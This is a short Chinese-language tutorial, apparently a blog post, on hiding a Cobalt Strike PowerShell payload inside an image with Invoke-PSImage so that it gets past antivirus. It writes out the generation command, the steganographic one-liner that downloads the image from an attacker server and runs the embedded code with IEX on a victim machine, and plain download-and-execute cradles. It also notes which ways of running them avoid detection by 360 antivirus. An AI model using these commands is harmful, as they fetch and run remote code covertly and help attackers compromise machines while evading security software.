利用工具
- Invoke-PSImage
- 任意一张图片
模拟上线
1.使用cs生成一个powershell的payload。
2.执行工具脚本并保存生成的上线命令:
工具脚本命令:
powershell -exec bypass "Import-Module ./Invoke-PSimage.ps1;Invoke-PSImage -Script .\payload.ps1 -Image .\image.jpg -Out .\image.png -Web"
生成的上线命令如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
3.将生成的恶意图片上传到服务器上:
4.更改上线命令中的url地址为图片地址并在受害者机器上执行上线命令:
更改方框处
更改后的命令:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
5.上线完成
360未爆毒
总结
如果我们先用命令进入powershell然后执行上线命令,确实可以绕过杀软,如果我们直接在cmd页面执行:
powershell sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://172.16.250.3/image.png"));$o=a Byte[] 3600;(0..5)|%{foreach($x in(0..599)){$p=$g.GetPixel($x,$_);$o[$_*600+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
杀软会爆毒。
一般情况下cs的上线代码为:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))"
直接执行下面代码也可以上线,而且杀软也不会爆毒:
IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))